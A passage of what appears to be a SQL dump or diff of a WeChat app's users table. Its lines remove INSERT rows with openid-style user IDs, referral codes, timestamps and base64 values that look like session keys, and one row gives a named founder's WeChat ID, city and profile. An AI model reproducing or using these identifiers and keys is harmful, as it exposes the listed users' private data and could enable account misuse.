'2026-03-07 01:23:33', NULL, 'iKBjeGLQYr3ExC/kSYHAnw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5RE0ksRNg-f8i_ucFBTLEoY', 'ogpTW5RE0ksRNg-f8i_ucFBTLEoY', '微信用户LEoY', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULBTLEOY', '[]', 0, 0.00, 0.00, 0, '2026-02-16 00:31:41', '2026-02-16 00:31:41', NULL, 'DVRbzGAZNYx4RfAKKQ74ZQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Rfjxo1IrotPpEKSA2iFcOs', 'ogpTW5Rfjxo1IrotPpEKSA2iFcOs', '微信用户FcOs', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL2IFCOS', '[]', 0, 0.00, 0.00, 0, '2026-02-28 10:30:03', '2026-02-28 10:30:03', NULL, '4xPCpdRgpBoSyTRSyeZlDw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5RIG4xk1naqzBqpiFtgPwaw', 'ogpTW5RIG4xk1naqzBqpiFtgPwaw', '微信用户Pwaw', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULTGPWAW', '[]', 0, 0.00, 0.00, 0, '2026-03-09 08:07:52', '2026-03-09 08:07:52', NULL, 'tpXJ6iheLLmfGSCQWdLJ6w==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5RiZnbAQc6IRZDHKb4IUxM8', 'ogpTW5RiZnbAQc6IRZDHKb4IUxM8', '微信用户UxM8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL4IUXM8', '[]', 0, 0.00, 0.00, 0, '2026-02-23 00:03:00', '2026-02-23 00:03:00', NULL, 'pxBlqHbEor2Ng8os8wHU5Q==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5ROpk78CF_4viydnmRylq_M', 'ogpTW5ROpk78CF_4viydnmRylq_M', '微信用户lq_M', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULRYLQ_M', '[]', 0, 0.00, 0.00, 0, '2026-02-13 06:15:38', '2026-02-13 06:15:38', NULL, '4p3JXqsWrjL7T1oKAHEk3g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5RQEdnZdHQzh0os5kRZOBME', 'ogpTW5RQEdnZdHQzh0os5kRZOBME', '微信用户OBME', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULRZOBME', '[]', 0, 0.00, 0.00, 0, '2026-02-11 09:00:00', '2026-02-11 09:00:00', NULL, '4Xy+orTeHkI5W2TRp4kT+Q==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5SaKompq-PXgVrmfeZ_b68c', 'ogpTW5SaKompq-PXgVrmfeZ_b68c', '微信用户b68c', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULZ_B68C', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:24:58', '2026-03-07 01:24:58', NULL, 'yBTkvqqg+LUkGa7EUUr74g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', 'ogpTW5SKUu_zTp3X2K9yzEdO2Jn4', '微信用户2Jn4', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULDO2JN4', '[]', 0, 0.00, 0.00, 0, '2026-01-31 09:59:24', '2026-03-10 05:37:55', NULL, 'VzvfynqzgVNXHhUyDsbypQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5SL4hn1WLvoByZiXUnp1XYQ', 'ogpTW5SL4hn1WLvoByZiXUnp1XYQ', '微信用户1XYQ', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULNP1XYQ', '[]', 0, 0.00, 0.00, 0, '2026-02-02 09:48:24', '2026-02-02 09:48:24', NULL, 'ht6q7u3NYMQDRmqLT66TMg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5SNiFDrqJVeZx7khIJOHciA', 'ogpTW5SNiFDrqJVeZx7khIJOHciA', '微信用户HciA', 'https://soul.quwanzhi.com/uploads/avatars/1770707889387783311_gm1qti.png', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULJOHCIA', '[]', 0, 0.00, 0.00, 0, '2026-02-10 07:18:06', '2026-02-10 07:18:09', NULL, 'aXKydwc3JGzf2fhIavKxfA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5SPIL2A7Z6VKtONJFEBcjq4', 'ogpTW5SPIL2A7Z6VKtONJFEBcjq4', '微信用户cjq4', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULEBCJQ4', '[]', 0, 0.00, 0.00, 0, '2026-02-23 21:38:22', '2026-02-23 21:38:22', NULL, '5Vt46tT2i0R8bjU9wvDjdg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5SReWs42cczpS05TOuwt90c', 'ogpTW5SReWs42cczpS05TOuwt90c', '微信用户t90c', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULUWT90C', '[]', 0, 0.00, 0.00, 0, '2026-01-31 02:47:56', '2026-01-31 02:47:56', NULL, 'R1xyh4LXh/1tvb3TPEBVjQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5T1G-BBY9Hhg10HqyMKqwXE', 'ogpTW5T1G-BBY9Hhg10HqyMKqwXE', '微信用户qwXE', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMKQWXE', '[]', 0, 0.00, 0.00, 0, '2026-02-02 16:48:03', '2026-02-02 16:48:03', NULL, 'hyklqPetMnN2jsK1DB1qRw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TEU0EGXSrPCpeUwVMLRqSk', 'ogpTW5TEU0EGXSrPCpeUwVMLRqSk', '微信用户RqSk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMLRQSK', '[]', 0, 0.00, 0.00, 0, '2026-02-10 01:05:32', '2026-02-10 01:05:32', NULL, 'JE0keiKGsZw7KMcFVldlTg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TG2nwZe4jAW9MW_UveKOCE', 'ogpTW5TG2nwZe4jAW9MW_UveKOCE', '微信用户KOCE', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULVEKOCE', '[\"9.17\"]', 0, 0.00, 0.00, 0, '2026-02-24 08:53:58', '2026-02-24 08:54:14', NULL, '/nDLD5+SZ4tQTxI/cN6Fjw==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TgboJDMJveJ8iKwG7LYFBc', 'ogpTW5TgboJDMJveJ8iKwG7LYFBc', '微信用户YFBc', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL7LYFBC', '[]', 0, 0.00, 0.00, 0, '2026-02-12 23:10:37', '2026-02-12 23:10:37', NULL, 'Nf3FejFTYhPHH8a+VoYJpg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TgXsaPgHKHizxxG6jh2-P4', 'ogpTW5TgXsaPgHKHizxxG6jh2-P4', '微信用户2-P4', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULJH2-P4', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:54:16', '2026-03-07 01:54:16', NULL, 'UE1AeEv+W+IRWypQxuA5KQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5THWb9dHbV0Tb7LOT96IUdA', 'ogpTW5THWb9dHbV0Tb7LOT96IUdA', '微信用户IUdA', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL96IUDA', '[]', 0, 0.00, 0.00, 0, '2026-03-08 23:31:37', '2026-03-08 23:31:37', NULL, 'Rogzj77/bGLWu5gRisQxOA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TlEzl3ih0OgGz31nfRz5qI', 'ogpTW5TlEzl3ih0OgGz31nfRz5qI', '微信用户z5qI', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULFRZ5QI', '[]', 0, 0.00, 0.00, 0, '2026-02-10 08:13:50', '2026-02-10 08:13:50', NULL, 'BE7ewUonWy6gKpoqn6HD9g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TlypohRwpjcXTAsXZahQcY', 'ogpTW5TlypohRwpjcXTAsXZahQcY', '微信用户hQcY', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULZAHQCY', '[]', 0, 0.00, 0.00, 0, '2026-01-31 13:15:05', '2026-01-31 13:15:05', NULL, 'ozPADVht1gwm/bbqxf04yA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TNfJ_xV2yqvTDGGV8av1tg', 'ogpTW5TNfJ_xV2yqvTDGGV8av1tg', '微信用户v1tg', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL8AV1TG', '[]', 0, 0.00, 0.00, 0, '2026-02-11 15:04:37', '2026-02-11 15:04:37', NULL, 'mag8fBvpDOmy3Hauk07zmg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5TPB2VWsoyePc3SveuTDjI8', 'ogpTW5TPB2VWsoyePc3SveuTDjI8', '微信用户DjI8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULUTDJI8', '[]', 0, 0.00, 0.00, 0, '2026-01-31 10:45:27', '2026-01-31 10:45:27', NULL, 'ACHftVwcxTMjhdU7DV/Ldg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5U49-hSsgYOJDVTysmhTDV8', 'ogpTW5U49-hSsgYOJDVTysmhTDV8', '微信用户TDV8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULMHTDV8', '[]', 0, 0.00, 0.00, 0, '2026-03-09 01:18:20', '2026-03-09 01:18:20', NULL, '+xJkizMuC3N/iccsie3IVw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5UgdOmL4OR-PQQoXkTluiWk', 'ogpTW5UgdOmL4OR-PQQoXkTluiWk', '微信用户uiWk', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULTLUIWK', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:26:23', '2026-03-07 01:26:23', NULL, 'aZ1TrgXn7sZLVgTiqYIA7w==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Uh4VBve_oCB4EcUoO4GSgY', 'ogpTW5Uh4VBve_oCB4EcUoO4GSgY', '微信用户GSgY', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULO4GSGY', '[]', 0, 0.00, 0.00, 0, '2026-02-23 06:13:46', '2026-03-05 08:04:12', NULL, 'GCosfPKIK59RWnF2cAEOFg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5UHHDcjscdCpMf_l-590Zrg', 'ogpTW5UHHDcjscdCpMf_l-590Zrg', '微信用户0Zrg', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL590ZRG', '[]', 0, 0.00, 0.00, 0, '2026-03-06 04:20:55', '2026-03-06 04:20:55', NULL, 'bHiRhCXXGuV/Sfj+j1AT4g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5UoaplDnvqhSiSz8C1nOEQo', 'ogpTW5UoaplDnvqhSiSz8C1nOEQo', '微信用户OEQo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL1NOEQO', '[]', 0, 0.00, 0.00, 0, '2026-02-10 03:17:13', '2026-02-10 03:17:13', NULL, 'OgUh6k156lj+AJyjg/1dUA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5US8-TZAVgY9IWeyS2LPGd0', 'ogpTW5US8-TZAVgY9IWeyS2LPGd0', '微信用户PGd0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL2LPGD0', '[\"1.2\"]', 0, 0.00, 0.00, 0, '2026-02-25 08:23:07', '2026-02-25 08:23:39', NULL, 'Tal0AZhXQTTA0YfDV0cEtA==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5UVoR-jV5dh9I0jlvLzgMwo', 'ogpTW5UVoR-jV5dh9I0jlvLzgMwo', '微信用户gMwo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULLZGMWO', '[]', 0, 0.00, 0.00, 0, '2026-02-02 17:06:15', '2026-02-02 17:06:15', NULL, 'YK1f7ZFj8TAdUP79cLhoMg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5UwgF76o_m6e_vdpZnebAJA', 'ogpTW5UwgF76o_m6e_vdpZnebAJA', '微信用户bAJA', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULNEBAJA', '[]', 0, 0.00, 0.00, 0, '2026-02-26 09:17:45', '2026-02-26 09:17:45', NULL, 'biwhoy5BG02l1djCKruIIQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5V4aCbAXePOZuYOEs4L2TOU', 'ogpTW5V4aCbAXePOZuYOEs4L2TOU', '微信用户2TOU', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOUL4L2TOU', '[]', 0, 0.00, 0.00, 0, '2026-02-12 03:36:30', '2026-02-12 03:36:30', NULL, '+7UAL/8DOp3BY1eGQYh7DQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5V92gmbuNnr4dTXkOdbvQT0', 'ogpTW5V92gmbuNnr4dTXkOdbvQT0', '微信用户vQT0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULDBVQT0', '[]', 0, 0.00, 0.00, 0, '2026-03-02 01:13:55', '2026-03-02 01:13:55', NULL, 'Fthmz3+bYGCsT5QfG8NF/g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5VagNGG6Ua2bdT7-8unNRwI', 'ogpTW5VagNGG6Ua2bdT7-8unNRwI', '微信用户NRwI', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULUNNRWI', '[]', 0, 0.00, 0.00, 0, '2026-01-30 13:12:28', '2026-03-10 10:42:53', NULL, 'bT0b0/P9+XbaxilyLZ8KuQ==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5VDkVXuX8gG2jYUmFh-e8dM', 'ogpTW5VDkVXuX8gG2jYUmFh-e8dM', '微信用户e8dM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULH-E8DM', '[]', 0, 0.00, 0.00, 0, '2026-03-10 22:44:41', '2026-03-10 22:44:41', NULL, 'cYRTdSwj66yuzz1ihC9dEw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5VmKmBogTUByAmE8oCuPFnM', 'ogpTW5VmKmBogTUByAmE8oCuPFnM', '微信用户PFnM', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULCUPFNM', '[]', 0, 0.00, 0.00, 0, '2026-02-11 09:24:47', '2026-02-11 09:24:47', NULL, 'hgQ9RZdMayde258AIXflHw==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5VOStIS5N3G4AKOfKcFrp7M', 'ogpTW5VOStIS5N3G4AKOfKcFrp7M', '微信用户rp7M', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULCFRP7M', '[]', 0, 0.00, 0.00, 0, '2026-02-13 22:35:12', '2026-02-13 22:35:12', NULL, '+TpVLHdh2Cu0QXe9/MXgqA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5VVNqX-dJk5DPbkEQN-L7GE', 'ogpTW5VVNqX-dJk5DPbkEQN-L7GE', '微信用户L7GE', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULN-L7GE', '[]', 0, 0.00, 0.00, 0, '2026-02-02 09:47:03', '2026-03-10 12:20:56', NULL, 'xFnI8NqDrRMiWJSZ0DF1qg==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5W-QfijW2viSKf-03yflrS8', 'ogpTW5W-QfijW2viSKf-03yflrS8', '微信用户lrS8', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULYFLRS8', '[]', 0, 0.00, 0.00, 0, '2026-03-10 12:20:12', '2026-03-10 12:20:12', NULL, '1vtt8ImDK931LckZqWm/ZA==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', 'ogpTW5Wbbo9DfSyB3-xCWN6EGc-g', '卡若', 'https://soulapi.quwanzhi.com/uploads/avatars/1772534332601624249_9t37qs.jpeg', '', 'amao2221', 'ENTJ', '厦门', '电竞/ai/私域', '私域运营与技术公司主理人;IP+研发+运营「私域银行」', '', '帮你知道什么时间做什么事情,和什么人一起做事', '', '', '', '帮你知道什么时间做什么事情,和什么人一起做事', '', '', 'SOUL6EGC-G', '[\"4.6\"]', 0, 0.00, 0.90, 40, '2026-01-29 10:19:35', '2026-03-10 16:16:34', NULL, '6+shg5rjS3r5zmIVeNYDug==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 1, '2027-01-24 16:00:00', NULL, NULL, NULL, NULL, NULL, 0, 0, '2026-02-26 10:10:25', 100, '创始人'); -INSERT INTO `users` VALUES ('ogpTW5WbOmHKnv5QZTJ2GbVv_ZL0', 'ogpTW5WbOmHKnv5QZTJ2GbVv_ZL0', '微信用户_ZL0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULVV_ZL0', '[]', 0, 0.00, 0.00, 0, '2026-02-25 08:43:04', '2026-02-25 08:43:04', NULL, '3XHi61C+xuTWQSbyyHq35Q==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', 'ogpTW5WdQ4z5Ro8PMMkds7eaZz3o', '微信用户Zz3o', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULEAZZ3O', '[]', 0, 0.00, 0.00, 0, '2026-03-03 00:52:35', '2026-03-03 00:52:35', NULL, 'NtjaFSdX8vukWfjD+yaBcg==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5WeoERCxTkb2DkF_lqu2PQo', 'ogpTW5WeoERCxTkb2DkF_lqu2PQo', '微信用户2PQo', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULQU2PQO', '[]', 0, 0.00, 0.00, 0, '2026-02-24 08:24:08', '2026-02-24 08:24:08', NULL, 'j8vFr9ew6ahP2xcd1yX+2g==', NULL, 0, 0, NULL, 0.00, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5WgyfQ58To207mh7YNjtGW0', 'ogpTW5WgyfQ58To207mh7YNjtGW0', '微信用户tGW0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULNJTGW0', '[]', 0, 0.00, 0.00, 0, '2026-03-07 01:29:29', '2026-03-07 01:29:29', NULL, '+CP85xE/DUMfq1lCTjNLRQ==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES ('ogpTW5Wng_gQTBXySc2IUXn1VN-0', 'ogpTW5Wng_gQTBXySc2IUXn1VN-0', '微信用户VN-0', '', NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 'SOULN1VN-0', '[]', 0, 0.00, 0.00, 0, '2026-02-10 23:25:35', '2026-02-10 23:25:35', NULL, 'H7THwssJuY51Q0lguh5R+g==', NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, 0, NULL, NULL, NULL, NULL, NULL, NULL, 0, 0, NULL, NULL, NULL); -INSERT INTO `users` VALUES 